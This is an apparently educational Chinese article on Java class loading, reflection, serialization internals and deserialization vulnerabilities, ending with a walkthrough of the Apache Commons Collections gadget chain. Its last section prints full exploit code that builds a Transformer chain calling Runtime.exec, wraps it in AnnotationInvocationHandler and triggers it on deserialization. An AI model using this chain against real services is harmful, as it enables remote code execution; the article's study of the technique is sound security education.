Java反序列化漏洞原理研究
一、Java类加载机制
0x1:Java程序如何运行
一个Java程序的运行整个过程分为编译时和运行时。
首先原始的java程序源码先由java编译器javac来编译成字节码,即.class文件,然后有ClassLoader类加载器加载类的常量、方法等到内存,字节码校验器对变量初始化、方法调用、堆栈溢出等进行校验,如果校验没问题,就会交给执行引擎解释执行最终生成机器码给操作系统执行。
0x2:ClassLoader工作机制
ClassLoader 相当于类的命名空间,起到了类隔离的作用。位于同一个 ClassLoader 里面的类名是唯一的,不同的 ClassLoader 可以持有同名的类。ClassLoader 是类名称的容器,是类的沙箱。
1、ClassLoader 加载顺序
JVM 运行实例中会存在多个 ClassLoader,不同的 ClassLoader 会从不同的地方加载字节码文件。
- 它可以从不同的文件目录加载
- 也可以从不同的 jar 文件中加载
- 也可以从网络上不同的静态文件服务器来下载字节码再加载
JVM 中内置了三个重要的 ClassLoader,分别是:
- BootstrapClassLoader:负责加载 JVM 运行时核心类,这些类位于 $JAVA_HOME/lib/rt.jar 文件中【rt是runtime的简写】,我们常用内置库 java.xxx.* 都在里面,比如 java.util.、java.io.、java.nio.、java.lang. 等等。
- ExtensionClassLoader:负责加载 JVM 扩展类,比如 swing 系列、内置的 js 引擎、xml 解析器 等等,这些库名通常以 javax 开头,它们的 jar 包位于 $JAVA_HOME/lib/ext/*.jar 中,有很多 jar 包。
- AppClassLoader:直接面向我们用户的加载器,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录。我们自己编写的代码以及使用的第三方 jar 包通常都是由它来加载的。AppClassLoader 可以由 ClassLoader 类提供的静态方法 getSystemClassLoader() 得到,它就是我们所说的「系统类加载器」,我们用户平时编写的类代码通常都是由它加载的。当我们的 main 方法执行的时候,这第一个用户类的加载器就是 AppClassLoader。
除了JVM中默认的上述3种 ClassLoader,JVM还允许开发者扩展实现 UserDefined ClassLoader,这是开发人员通过拓展ClassLoader类定义的自定义加载器,可以完全自定义类加载的过程。有很多字节码加密技术就是依靠定制 ClassLoader 来实现的。先使用工具对字节码文件进行加密,运行时使用定制的 ClassLoader 先解密文件内容再加载这些解密后的字节码。
位于网络上静态文件服务器提供的 jar 包和 class文件,jdk 内置了一个 URLClassLoader,用户只需要传递规范的网络路径给构造器,就可以使用 URLClassLoader 来加载远程类库了。URLClassLoader 不但可以加载远程类库,还可以加载本地路径的类库,取决于构造器中不同的地址形式。ExtensionClassLoader 和 AppClassLoader 都是 URLClassLoader 的子类,它们都是从本地文件系统里加载类库。
2、双亲委派
Java中 ClassLoader 的加载过程,有一个双亲委派机制需要注意。
- AppClassLoader 在加载一个未知的类名时,它并不是立即去搜寻 Classpath,它会首先将这个类名称交给 ExtensionClassLoader 来加载,如果 ExtensionClassLoader 可以加载,那么 AppClassLoader 就不用麻烦了。否则它就会搜索 Classpath
- ExtensionClassLoader 在加载一个未知的类名时,它也并不是立即搜寻 ext 路径,它会首先将类名称交给 BootstrapClassLoader 来加载,如果 BootstrapClassLoader 可以加载,那么 ExtensionClassLoader 也就不用麻烦了。否则它就会搜索 ext 路径下的 jar 包
这三个 ClassLoader 之间形成了级联的父子关系,每个 ClassLoader 都尽量把工作交给父级做,父级没法完成才自己尝试解决。每个 ClassLoader 对象内部都会有一个 parent 属性指向它的父加载器。
双亲委派规则可能会变成三亲委派,四亲委派,取决于你使用的父加载器是谁,它会一直递归委派到根加载器。
3、Class 延迟加载
JVM 运行并不是一次性加载所需要的全部类的,它是按需加载,也就是延迟加载。程序在运行的过程中会逐渐遇到很多不认识的新类,这时候就会调用 ClassLoader 来加载这些类。加载完成后就会将 Class 对象存在 ClassLoader 里面,下次就不需要重新加载了。
比如你在调用某个类的静态方法时,首先这个类肯定是需要被加载的,但是并不会触及这个类的实例字段,那么实例字段的类 Class 就可以暂时不必去加载,但是它可能会加载静态字段相关的类,因为静态方法会访问静态字段。而实例字段的类需要等到你实例化对象的时候才可能会加载。
因为 ClassLoader 的传递性,所有延迟加载的类都会由初始调用 main 方法的这个 ClassLoader 全全负责,它就是 AppClassLoader。
4、Class.forName动态加载类
以JDBC驱动的使用场景为例,当我们在使用 jdbc 驱动时,经常会使用 Class.forName 方法来动态加载驱动类。
Class.forName("com.mysql.cj.jdbc.Driver");
其原理是 mysql 驱动的 Driver 类里有一个静态代码块,它会在 Driver 类被加载的时候执行。这个静态代码块会将 mysql 驱动实例注册到全局的 jdbc 驱动管理器里。
class Driver { static { try { java.sql.DriverManager.registerDriver(new Driver()); } catch (SQLException E) { throw new RuntimeException("Can't register driver!"); } } ... }
forName 方法同样也是使用调用者 Class 对象的 ClassLoader 来加载目标类。不过 forName 还提供了多参数版本,可以指定使用哪个 ClassLoader 来加载。
通过这种形式的 forName 方法可以突破内置加载器的限制,通过使用自定类加载器允许我们自由加载其它任意来源的类库。根据 ClassLoader 的传递性,目标类库传递引用到的其它类库也将会使用自定义加载器加载。
5、自定义加载器
ClassLoader 里面有三个重要的方法
- loadClass()
- findClass()
- defineClass()
loadClass() 方法是加载目标类的入口,它首先会查找当前 ClassLoader 以及它的双亲里面是否已经加载了目标类,如果没有找到就会让双亲尝试加载,如果双亲都加载不了,就会调用 findClass() 让自定义加载器自己来加载目标类。
ClassLoader 的 findClass() 方法是需要子类来覆盖的,不同的加载器将使用不同的逻辑来获取目标类的字节码。
拿到字节码之后再调用 defineClass() 方法将字节码转换成 Class 对象。
6、Class.forName vs ClassLoader.loadClass
这两个方法都可以用来加载目标类,它们之间有一个小小的区别,那就是 Class.forName() 方法可以获取原生类型的 Class,而 ClassLoader.loadClass() 则会报错。
package org.example; public class main { public static void main(String[] args) throws Exception { Class<?> x = Class.forName("[I"); System.out.println(x); x = ClassLoader.getSystemClassLoader().loadClass("[I"); System.out.println(x); } }
7、Thread.contextClassLoader
首先 contextClassLoader 是那种需要显示使用的类加载器,如果你没有显示使用它,也就永远不会在任何地方用到它。你可以使用下面这种方式来显示使用它。
Thread.currentThread().getContextClassLoader().loadClass(name);
这意味着如果你使用 forName(string name) 方法加载目标类,它不会自动使用 contextClassLoader。那些因为代码上的依赖关系而懒惰加载的类也不会自动使用 contextClassLoader来加载。
它可以做到跨线程共享类,只要它们共享同一个 contextClassLoader。父子线程之间会自动传递 contextClassLoader,所以共享起来将是自动化的。如果不同的线程使用不同的 contextClassLoader,那么不同的线程使用的类就可以隔离开来。
如果我们对业务进行划分,不同的业务使用不同的线程池,线程池内部共享同一个 contextClassLoader,线程池之间使用不同的 contextClassLoader,就可以很好的起到隔离保护的作用,避免类版本冲突。
如果我们不去定制 contextClassLoader,那么所有的线程将会默认使用 AppClassLoader,所有的类都将会是共享的。
JDK9 增加了模块功能之后对类加载器的结构设计做了一定程度的修改,不过类加载器的原理还是类似的,作为类的容器,它起到类隔离的作用,同时还需要依靠双亲委派机制来建立不同的类加载器之间的合作关系。
参考链接:
https://r17a-17.github.io/2020/06/12/ClassLoader/ https://developer.aliyun.com/article/623212 https://juejin.cn/post/6844903729435508750 https://www.jianshu.com/p/b47eb9d7b4af
二、Java反射机制
0x1:反射基本原理
Java的反射(reflection)机制是指在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法。这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。
反射(Reflection)被视为动态语言的关键,反射机制允许程序在执行期借助于Reflection API取得任何类的内部信息,并能直接操作任意对象的内部属性及方法。
通俗来说就是,Java程序在运行时 还允许你通过反射机制获取某个对象的类,还能构造对象、获取对象属性、方法并且能调用方法。
0x2:Java中如何实现反射
关于Java反射机制主要有以下几个API
- java.lang.Class; //类
- java.lang.reflect.Constructor;//构造方法
- java.lang.reflect.Field; //类的成员变量
- java.lang.reflect.Method;//类的方法
- java.lang.reflect.Modifier;//访问权限,诸如public, static等
1、java.lang.Class
对应可以实现在运行时判断任意一个对象所属的类。
在Object类中定义了一个方法,此方法将被所有子类继承:
public final Class getClass();
返回值的类型是一个Class类,此类是Java反射的源头,实际上所谓反射从程序的运行结果来看也很好理解,即可以动态获得一个类对象。
通过四种方法可以获取class对象
(1)若已知具体的类,通过类的class属性获取,该方法最为安全可靠,程序性能最高:
package org.example; import java.io.*; public class main { public static void main(String[] args) throws Exception { Class<CommandExec> clazz = CommandExec.class; System.out.println(clazz.toString()); } }
(2)已知某个类的实例,调用该实例的getClass()方法获取Class对象;
package org.example; import java.io.*; public class main { public static void main(String[] args) throws Exception { CommandExec cmdexec = new CommandExec(); Class clazz = cmdexec.getClass(); System.out.println(clazz.toString()); } }
(3)已知一个类的全类名,且该类在类路径下,可通过Class类的静态方法forName()获取。如果制定的类不存在会抛出异常ClassNotFoundException
package org.example; import java.io.*; public class main { public static void main(String[] args) throws Exception { try { Class<CommandExec> class1 = (Class<CommandExec>) Class.forName("org.example.CommandExec"); System.out.println(class1.toString()); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }
(4)通过类加载器来获取
package org.example; import java.io.*; public class main { public static void main(String[] args) throws Exception { CommandExec cmdexec = new CommandExec(); ClassLoader classld = cmdexec.getClass().getClassLoader(); Class clazz = classld.loadClass("org.example.CommandExec"); System.out.println(clazz.toString()); } }
2、java.lang.reflect.Constructor
对应实现在运行时构造任意一个类的对象。
class对象动态生成的方法:
(1)调用Class对象的new instance() 方法来实例化,注意这种方法只能调用无参构造器:
package org.example; import java.io.*; public class CommandExec{ public CommandExec() { String cmd = "open -a Calculator"; try { Process process = Runtime.getRuntime().exec(cmd); InputStream is = process.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader br = new BufferedReader(isr); for(String content = br.readLine(); content != null; content = br.readLine()) { System.out.println(content); } } catch (IOException var7) { var7.printStackTrace(); } } public void hello() { System.out.println("hello!"); } }
package org.example; import java.io.*; public class main { public static void main(String[] args) throws Exception { Class<CommandExec> class1 = null; try { class1 = (Class<CommandExec>) Class.forName("org.example.CommandExec"); } catch (ClassNotFoundException e) { e.printStackTrace(); } CommandExec obj = class1.newInstance(); } }
(2)对象获得对应的Constructor对象,再通过该Constructor对象的newInstance()方法生成
package org.example; import java.io.*; import java.lang.reflect.Constructor; public class main { public static void main(String[] args) throws Exception { Class<CommandExec> class1 = null; try { class1 = (Class<CommandExec>) Class.forName("org.example.CommandExec"); } catch (ClassNotFoundException e) { e.printStackTrace(); } //获取指定声明构造函数。指定new Class[]{String.class}设置传参的类 Constructor<?> constructor = class1.getDeclaredConstructor(); Object obj = constructor.newInstance(); System.out.println(obj.toString()); } }
3、java.lang.reflect.Field 和 java.lang.reflect.Method
对应实现在运行时判断任意一个类所具有的成员变量和方法,和在运行时调用任意一个对象的成员变量和方法。
- getFields():用来获取类的成员变量
- getMethods():用来获取类的成员方法
- Object invoke(Object obj, Object[] args):调用类的方法,并向方法中传递要设置的obj对象及其方法需要参数信息。
package org.example; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; public class main { public static void main(String[] args) throws Exception { Class<CommandExec> class1 = null; Object obj = null; try { class1 = (Class<CommandExec>) Class.forName("org.example.CommandExec"); obj = class1.newInstance(); } catch (ClassNotFoundException e) { e.printStackTrace(); } Field[] allFields = class1.getDeclaredFields();//获取class对象的所有属性 System.out.println(allFields); Field[] publicFields = class1.getFields();//获取class对象的public属性 System.out.println(publicFields); try { Field ageField = class1.getDeclaredField("cmd");//获取class指定属性 System.out.println(ageField); Field desField = class1.getField("cmd");//获取class指定的public属性 System.out.println(desField); } catch (NoSuchFieldException e) { e.printStackTrace(); } Method[] methods = class1.getDeclaredMethods();//获取class对象的所有声明方法 System.out.println(methods); Method[] allMethods = class1.getMethods();//获取class对象的所有方法 包括父类的方法 System.out.println(allMethods); Method method = class1.getDeclaredMethod("hello"); method.invoke(obj); } }
4)一个完整地演示例子
先定义一个类TestClass
TestClass.java
package org.example; public class TestClass { public String a = "adf"; private String b; public void method(String v) { System.out.println("正在执行method方法..."); System.out.println(v); } private String getB(){ return this.b; } }
ReflectTest可以通过反射机制获取类名、类的属性和方法、实例化类并执行方法
ReflectTest.java
package org.example; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.lang.reflect.Modifier; public class ReflectTest { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, InvocationTargetException { ReflectTest reflectTest = new ReflectTest(); reflectTest.getAllFiled(); reflectTest.getAllMethod(); //实例化类并执行方法 Class<?> clazz = Class.forName("org.example.TestClass"); Object object = clazz.newInstance(); Method method = clazz.getDeclaredMethod("method", String.class); method.invoke(object,"这是我的输入"); } public void getAllFiled() { //获取类 Class testClass = TestClass.class; System.out.println("类的名称:" + testClass.getName()); //获取所有 public 访问权限的变量 // Field[] fields = testClass.getFields(); // 获取所有本类声明的变量(不问访问权限) Field[] fields = testClass.getDeclaredFields(); //遍历变量并输出变量信息 for (Field field : fields) { //获取访问权限并输出 int modifiers = field.getModifiers(); System.out.print(Modifier.toString(modifiers) + " "); //输出变量的类型及变量名 System.out.println(field.getType().getName() + " " + field.getName()); } } public void getAllMethod() { //获取类 Class testClass = TestClass.class; // 获取类的所有方法 Method[] methods = testClass.getDeclaredMethods(); for (Method method : methods) { //获取访问权限并输出 int modifiers = method.getModifiers(); System.out.print(Modifier.toString(modifiers) + " "); //输出变量的类型及变量名 System.out.println(method.getReturnType() + " " + method.getName()); } } }
三、序列化技术产生的背景
当程序运行时,有关对象的信息就存储在了内存当中,但是当程序终止时,对象将不再继续存在。我们需要一种储存对象信息的方法,使我们的程序关闭之后他还继续存在,当我们再次打开程序时,可以轻易的还原当时的状态。这就是对象序列化的目的。
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,把字节流还原成对象。
序列化技术是一项非常方便的技术,主要有如下几个用途:
- (1)永久性保存对象,保存对象的字节序列到本地文件或者数据库中
- (2)通过序列化以字节流的形式使对象在网络中进行传递和接收
- (3)通过序列化在进程间传递对象
举几个具体的例子,
- 第一个例子:Web 服务器中的 Session 会话对象,当有10万用户并发访问,就有可能出现10万个 Session 对象,显然这种情况内存可能是吃不消的。于是 Web 容器就会把一些 Session 先序列化,让他们离开内存空间,序列化到硬盘中,当需要调用时,再把保存在硬盘中的对象还原到内存中。
- 第二个例子:当两个进程进行远程通信时,文本、图片、音频、视频的传输可以发送各种类型的数据,包括等, 而这些数据都会以二进制序列的形式在网络上传送。
java的对象序列化将那些实现了Serializable接口的对象转换成一个字节序列,并且能够在以后将这个字节序列完全恢复为原来的对象,甚至可以通过网络传播,这意味着序列化机制自动弥补了不同OS之间的差异。
对象序列化的概念加入到语言中是为了支持两种主要特性:
- java的远程方法调用(RMI),它使存活于其他计算机上的对象使用起来就像存活于本机上一样。当远程对象发送消息时,需要通过对象序列化来传输参数和返回值。
- 对于Java Bean来说,对象序列化是必须的。使用一个Bean时,一般情况下是在设计阶段对它的状态信息进行配置。这种状态信息必须保存下来,并在程序启动的时候进行后期恢复,这种具体工作就是由对象序列化完成的。
四、Java中序列化实现原理
0x1:一个序列化/反序列化例子
在Java中,主要有两个接口,
- ObjectOutputStream(对象输出流),ObjectOutputStream.writeObject()实现序列化
- ObjectInputStream(对象输入流),ObjectInputStream.readObject()方法实现反序列化
用于被序列化的执行命令的类CommandExec.java
package org.example; import java.io.*; public class CommandExec implements Serializable{ public CommandExec() { String cmd = "open -a Calculator"; try { Process process = Runtime.getRuntime().exec(cmd); InputStream is = process.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader br = new BufferedReader(isr); for(String content = br.readLine(); content != null; content = br.readLine()) { System.out.println(content); } } catch (IOException var7) { var7.printStackTrace(); } } }
触发序列化、反序列化操作的main.java
package org.example; import java.io.*; public class main { public static void main(String[] args) throws Exception { serializeCommandExec(); CommandExec commandExec = (CommandExec) deserializeCommandExec(); } /** * 将CommandExec对象序列化后,输出到本地文件存储 */ private static void serializeCommandExec() throws IOException { CommandExec commandExec = new CommandExec(); // ObjectOutputStream 对象输出流 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("./CommandExec.serialization"))); oos.writeObject(commandExec); System.out.println("对象序列化成功!"); } /** * 反序列化 */ private static CommandExec deserializeCommandExec() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./CommandExec.serialization"))); CommandExec commandExec = (CommandExec) ois.readObject(); System.out.println("对象反序列化成功!"); return commandExec; } }
同时本地生成CommandExec对象的反序列化存储文件。
0x2:序列化源码分析
以下面这个序列化demo代码为例。
package org.example; import java.io.*; public class SerializableTest { public static void main(String[] args) throws Exception { FileOutputStream fos = new FileOutputStream("temp.out"); ObjectOutputStream oos = new ObjectOutputStream(fos); TestObject testObject = new TestObject(); oos.writeObject(testObject); oos.flush(); oos.close(); FileInputStream fis = new FileInputStream("temp.out"); ObjectInputStream ois = new ObjectInputStream(fis); TestObject deTest = (TestObject) ois.readObject(); System.out.println(deTest.testValue); System.out.println(deTest.parentValue); System.out.println(deTest.innerObject.innerValue); } }
package org.example; import java.io.Serializable; class Parent implements Serializable { private static final long serialVersionUID = -4963266899668807475L; public int parentValue = 100; }
package org.example; import java.io.Serializable; class InnerObject implements Serializable { private static final long serialVersionUID = 5704957411985783570L; public int innerValue = 200; }
package org.example; import java.io.Serializable; class TestObject extends Parent implements Serializable { private static final long serialVersionUID = -3186721026267206914L; public int testValue = 300; public InnerObject innerObject = new InnerObject(); }
程序执行完用sublime打开temp.out文件,可以看到,
调用ObjectOutputStream.writeObject()和ObjectInputStream.readObject()之后究竟做了什么?temp.out文件中的二进制分别代表什么意思?我们跟进源码进行分析。
调用wroteObject()进行序列化之前会先调用ObjectOutputStream的构造函数生成一个ObjectOutputStream对象,
构造函数中首先会把bout绑定到底层的字节数据容器,接着会调用writeStreamHeader()方法,
在writeStreamHeader()方法中首先会往底层字节容器中写入表示序列化的Magic Number以及版本号,
接下来会调用writeObject()方法进行序列化,
正常情况下会调用writeObject0()进行序列化操作,
- 生成一个描述被序列化对象类的类元信息的ObjectStreamClass对象
- 根据传入的需要序列化的对象的实际类型进行不同的序列化操作:
- 对于String类型、数组类型和Enum可以直接进行序列化
- 如果被序列化对象实现了Serializable对象,则会调用writeOrdinaryObject()方法进行序列化
因此,序列化过程接下来会执行到writeOrdinaryObject()这个方法中, 在这个方法中首先会往底层字节容器中写入TC_OBJECT,表示这是一个新的Object。
接下来会调用writeClassDesc()方法写入被序列化对象的类的类元数据,
在这个方法中会先判断传入的desc是否为null,如果为null则调用writeNull()方法,如果不为null,则一般情况下接下来会调用writeNonProxyDesc()方法。在这个方法中首先会写入一个字节的TC_CLASSDESC,这个字节表示接下来的数据是一个新的Class描述符,接着会调用writeNonProxy()方法写入实际的类元信息,
writeNonProxy()方法中会按照以下几个过程来写入数据:
- 调用writeUTF()方法写入对象所属类的名字
- 接下来会调用writeLong()方法写入类的序列号UID,UID是通过getSerialVersionUID()方法来获取。
- 接着会判断被序列化的对象所属类的flag,并写入底层字节容器中(占用两个字节)。类的flag分为以下几类:
- final static byte SC_EXTERNALIZABLE = 0×04,表示该类为Externalizable类,即实现了Externalizable接口。
- final static byte SC_SERIALIZABLE = 0×02,表示该类实现了Serializable接口。
- final static byte SC_WRITE_METHOD = 0×01,表示该类实现了Serializable接口且自定义了writeObject()方法。
- final static byte SC_ENUM = 0×10,表示该类是个Enum类型。
- 依次写入被序列化对象的字段的元数据。
- <1> 首先会写入被序列化对象的字段的个数,占用两个字节。本例中为2,因为TestObject类中只有两个字段,一个是int类型的testValue,一个是InnerObject类型的innerValue。
- <2> 依次写入每个字段的元数据。每个单独的字段由ObjectStreamField类来表示。
- 调用writeUTF()方法写入每个字段的名字。注意,writeUTF()方法会先写入名字占用的字节数。
执行完上面的过程之后,程序流程重新回到writeNonProxyDesc()方法中,接下来会写入一个字节的标志位TC_ENDBLOCKDATA表示对一个object的描述块的结束。
然后会调用writeClassDesc()方法,传入父类的ObjectStreamClass对象,写入父类的类元数据。
需要注意的是writeClassDesc()这个方法是个递归调用,调用结束返回的条件是没有了父类,即传入的ObjectStreamClass对象为null,这个时候会写入一个字节的标识位TC_NULL。
在递归调用完成写入类的类元数据之后,程序执行流程回到wriyeOrdinaryObject()方法中。
从上面的分析中我们可以知道,当写入类的元数据的时候,是先写子类的类元数据,然后递归调用的写入父类的类元数据。接下来会调用writeSerialData()方法写入被序列化的对象的字段的数据,
在这个方法中首先会调用getClassDataSlot()方法获取被序列化对象的数据的布局,
需要注意的是这个方法会把从父类继承的数据一并返回,并且表示从父类继承的数据的ClassDataSlot对象在数组的最前面。
对于没有自定义writeObject()方法的对象来说,接下来会调用defaultWriteFields()方法写入数据,该方法实现如下:
在这个方法中会做下面几件事情:
- (1)获取对应类的基本类型的字段的数据,并写入到底层的字节容器中。
- (2)获取对应类的Object类型(非基本类型)的字段成员,递归调用writeObject0()方法写入相应的数据。
从上面对写入数据的分析可以知道,写入数据是是按照先父类后子类的顺序来写的。
至此,Java序列化过程分析完毕,总结一下,在本例中序列化过程如下
0x3:反序列化源码分析
反序列化过程就是按照前面介绍的序列化算法来解析二进制数据,并按照二进制数据中的元信息在内存中重建对象。
有一个需要注意的问题就是,如果子类实现了Serializable接口,但是父类没有实现Serializable接口,如果父类有默认构造函数的话,即使没有实现Serializable接口也不会有问题,反序列化的时候会调用默认构造函数进行初始化,否则的话反序列化的时候会抛出.InvalidClassException:异常,异常原因为no valid constructor。
参考链接:
https://r17a-17.github.io/2020/06/11/Java%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ https://r17a-17.github.io/2020/06/12/Java%E5%8F%8D%E5%B0%84%E6%9C%BA%E5%88%B6/ https://developer.aliyun.com/article/636145
五、Java反序列化漏洞之所以危害性大的原因
序列化和反序列化的过程中经常会产生漏洞,因为反序列化时通常应用程序会按照相应的规则自动调用某些方法,利用 Java 的多态,攻击者可以进行不同功能类的组合,形成具有攻击手段的调用链,从而造成漏洞。
0x1:Java反序列化带来了在运行时过程中动态创建任意Java类的攻击面
在没有出现反序列化漏洞之前,漏洞利用的范畴还是被限定在存在漏洞的函数或者功能模块里的,例如:
- 文件上传漏洞导致任意文件路径和任意文件内容上传
- SQL注入漏洞导致任意SQL执行
- SSRF漏洞导致任意网络外连请求
- ....
但是反序列化漏洞像是打开了潘多拉魔盒,序列化数据本质上相当于描述一段程序的适量元信息,基于这段元信息,接收方可以在内存中完全重建被序列化对象,就像在本地重新运行了被序列化代码一样。
同时依托于Java的动态反射机制,通过反序列化注入漏洞理论上可以实例化JDK中的任意类并调用其中的成员函数,这是Java反序列化漏洞危害如此之大的一个核心点。
其实反序列化触发的类重建魔术函数导致的风险,很多语言都有(例如PHP反序列化漏洞),但是Java中,因为从app到容器层,全部都是由java class实现的,使得Java不像PHP中反序列化类重建只能实例化当前app代码路径中文件包含的类,而是可以实例化重建包含app在内的整个JDK以及底层容器中间件(例如Tomcat)内的类,这就极大扩大的攻击面。而相比之下,在PHP中,PHP的扩展so、以及PHP本身的内部函数,都是由C实现的,都是无法在反序列化中被重建的。
这里的攻击面在于,如果在JDK类或者框架代码中,存在一个能够接收外部可控的反序列化字节码接口,并对外部输入的字节码进行反序列化重建,那么就理论上存在反序列化攻击面。但是,存在攻击面并不100%等同于存在真实攻击,要将反序列化攻击面转化为实际的攻击,还需要找到另一个关键组件"Java Gadget Chain"。
0x2:Java Gadget Chain
通过反序列化可以在Java运行时中动态重建一个Java类,但如果只是重建一个Hello world这类无关痛痒的类,是无法构成安全风险。只有精心构造出能够具备攻击性(例如RCE、DNS外连)的类,并通过动态调用该类的成员函数(正确地传入合适的参数)实现其攻击目的,才能将反序列化的攻击面转化为实际的反序列化安全漏洞。
而上述”精心构造出能够具备攻击性(例如RCE、DNS外连、任意读写文件、内存马植入)的类,并通过动态调用该类的成员函数“的这个过程,我们统称为一个”Java Gadget Chain“。
需要主要的是,反序列化相当于一个口子,它允许在内存中动态重建任意Java类,所以反序列化带来的攻击不仅限于RCE,也包括任意文件读写、内存马植入、DNSLOG外连等攻击目的。理论上,反序列化漏洞可以导致任意Java类代码执行。
六、Java反序列化漏洞案例
我们来通过学习几个实际的Java反序列化漏洞,分析一下反序列化利用的成因以及”Java Gadget Chain“的作用原理。
0x1:RMI反序列化漏洞
RMI使用反序列化机制来传输Remote对象,那么如果是个恶意的对象,在服务器端进行反序列化时便会触发反序列化漏洞。具体的反序列化漏洞原理可以参阅这篇文章。
前面说过,光有反序列化入口点只是第一步,下一步还需要找到”Java Gadget Chain“。
如果此时服务端存在Apache Commons Collections这种库,就可以构造出一个”Java Gadget Chain“,最终导致远程命令执行。
具体环境搭建请参阅这篇文章,我们这里直接开始分析源码。
该库中含有一个接口类叫做Tranesformer,其实现类有
- ChainedTransformer
- ConstantTransformer
- InvokerTransformer
- CloneTransformer
- ClosureTransformer
- ExceptionTransformer
- FactoryTransformer
- InstantiateTransformer
- MapTransformer
- NOPTransformer
- PredicateTransformer
- StringValueTransformer
- SwitchTransformer
前三个可以在反序列化攻击中进行利用,其本身功能及关键代码如下:
//InvokerTransformer构造函数接受三个参数,并通过反射执行一个对象的任意方法 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } //ConstantTransformer构造函数接受一个参数,并返回传入的参数 public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; } //ChainedTransformer构造函数接受一个Transformer类型的数组,并返回传入数组的每一个成员的Transformer方法 public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
将上述函数组合起来构造远程命令执行链:
Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers_exec); chain.transform('1');
那么接下来的问题就是,真实环境中如何触发ChainedTransformer.transform?我们还需要继续寻找”Java Gadget Chain“。
有两个类调用了transform方法,
- LazyMap
- TransformedMap
TransformedMap中的调用流程为:setValue ==> checkSetValue ==> valueTransformer.transform(value),所以如果用TransformedMap调用transform方法,需要生成一个TransformedMap然后修改Map中的value值即可触发。
上述执行链修改如下,
Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers_exec); chain.transform('1'); Transformer chainedTransformer = new ChainedTransformer(transformers_exec); Map inMap = new HashMap(); inMap.put("key", "value"); Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar");
如果用LazyMap调用transform方法,调用流程为:get==>factory.transform(key),但是这些也还是需要手动调用去修改值。要自动触发需要执行readObject()方法,所用的类为AnnotationInvocationHandler,该类是JAVA运行库中的一个类,这个类有一个成员变量memberValues是Map类型,并且类中的readObject()函数中对memberValues的每一项调用了setValue()函数,完整代码如下
完整代码如下:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map inMap = new HashMap();//创建一个含有Payload的恶意map inMap.put("key", "value"); Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//创建一个含有恶意调用链的Transformer类的Map对象 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//获取AnnotationInvocationHandler类对象 Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });//获取AnnotationInvocationHandler类的构造方法 ctor.setAccessible(true); // 设置构造方法的访问权限 Object instance = ctor.newInstance(new Object[] { Retention.class, outMap }); FileOutputStream fos = new FileOutputStream("payload.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(instance); oos.flush(); oos.close(); FileInputStream fis = new FileInputStream("payload.ser"); ObjectInputStream ois = new ObjectInputStream(fis); // 触发代码执行 Object newObj = ois.readObject(); ois.close();
下面跟踪一遍RMI反序列化后,通过Apache Commons Collections的”Java Gadget Chain“利用过程。
可以看到,通过利用Apache Commons Collections的的Tranesformer接口类下的ChainedTransformer、ConstantTransformer、InvokerTransformer,我们构造出了一个”Java Gadget Chain“,其中:
- ChainedTransformer:负责了最终invoke执行函数的目的
- ConstantTransformer、InvokerTransformer起到了接收待执行函数名、函数执行参数等目的
综上,我们总结一下整个RMI反序列化漏洞的整体思路:
- 开发者在定义 JNDI 接口初始化时,lookup() 方法的参数被外部攻击者可控,攻击者就可以将恶意的 url 传入参数,以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意Java对象载荷(reference实例 or 序列化实例),对象在被解析实例化时会在内存中动态重建外部传入的序列化字节码,这里就造成了序列化字节码注入风险敞口
